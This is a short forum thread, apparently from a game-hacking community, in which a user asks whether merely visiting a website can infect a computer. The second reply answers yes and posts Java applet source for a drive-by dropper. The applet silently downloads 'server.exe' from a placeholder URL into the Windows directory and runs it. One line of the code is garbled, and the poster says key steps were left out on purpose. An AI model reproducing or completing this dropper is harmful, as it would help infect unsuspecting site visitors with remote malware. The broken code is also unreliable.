Thread: virus?

Results 1 to 3 of 3
  1. #1
    pownage525's Avatar
    Join Date
    Feb 2010
    Gender
    male
    Posts
    24
    Reputation
    10
    Thanks
    1

    virus?

    can u get a virus by just visiting it and no downloads?

  2. #2
    cruizrisner's Avatar
    Join Date
    Feb 2010
    Gender
    male
    Posts
    381
    Reputation
    22
    Thanks
    48
    Quote Originally Posted by pownage525 View Post
    can u get a virus by just visiting it and no downloads?
    yes you can, they use a script called a "drive-by" and it is made most of the time of a java applet that secretly downloads and executes the virus without letting the download manager open up.

    the base source looks kinda like this
    Code:
    import java.applet.Applet;
    import java.io.*;
    import java.net.URL;
    import java.net.URLConnection;
    import java.awt.*;
    import java.net.*;
    
    
    public class Client extends Applet
    {
    
        public Client()
        {
        }
    
        public void start()
        {
            try
            {
    
            String fileoot = System.getenv("WINDIR");
                String fname = "server.exe";
    
                String efool = fileoo*****ncat(fname);
    
    
                BufferedOutputStream bufferedoutputstream = null;
                Object obj = null;
                InputStream inputstream = null;
    
    
                URL url = new URL("https://www.yoursite.com/server.exe");
                bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool));
                URLConnection urlconnection = url.openConnection();
                inputstream = urlconnection.getInputStream();
                byte abyte0[] = new byte[1024];
                int i;
                for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                    bufferedoutputstream.write(abyte0, 0, i);
    
                try
                {
                    if(inputstream != null)
                        inputstream.close();
                    if(bufferedoutputstream != null)
                        bufferedoutputstream.close();
    
    
                }
                catch(IOException ioexception) {
                }
    
                Runtime runtime = Runtime.getRuntime();
                try
                {
                    Process process = runtime.exec(efool);
                    process.waitFor();
                    BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    
    
                }
                catch(Exception exception1) {
                }
    
                try
                {
                    if(inputstream != null)
                        inputstream.close();
                    if(bufferedoutputstream != null)
                        bufferedoutputstream.close();
                }
                catch(IOException ioexception1) {
    
    
              }
            }
            catch(Exception e) { }
        }
    
    
    
        public void main(String args[])
        {
    
    start();
    
    }
    
    
    
        public void stop()
        {
        }
    }
    but dont just copy paste this cuz there is much more steps to do to make it work that i kept out on purpose.

  3. #3
    iHelp's Avatar
    Join Date
    Jul 2010
    Gender
    female
    Location
    Ur mommahz haus :3
    Posts
    38
    Reputation
    10
    Thanks
    0
    My Mood
    Cheerful
    You could download Malwarebytes' Anti-Malware.
    It's a virus scanner that takes off any viruses from your computer for free.

Similar Threads

  1. Virus Scanner
    By Elmo in forum Spammers Corner
    Replies: 9
    Last Post: 07-11-2010, 01:23 PM
  2. Crap I know I have a virus.
    By radnomguywfq3 in forum Hardware & Software Support
    Replies: 14
    Last Post: 02-10-2007, 01:53 PM
  3. Cabal Online - Virus?
    By Dave84311 in forum General Game Hacking
    Replies: 0
    Last Post: 02-19-2006, 07:54 PM
  4. wpe pro contain VIRUS
    By loRdDevil in forum WarRock - International Hacks
    Replies: 2
    Last Post: 01-14-2006, 03:15 PM
  5. Anti Virus software
    By kyo in forum General
    Replies: 3
    Last Post: 01-11-2006, 07:29 PM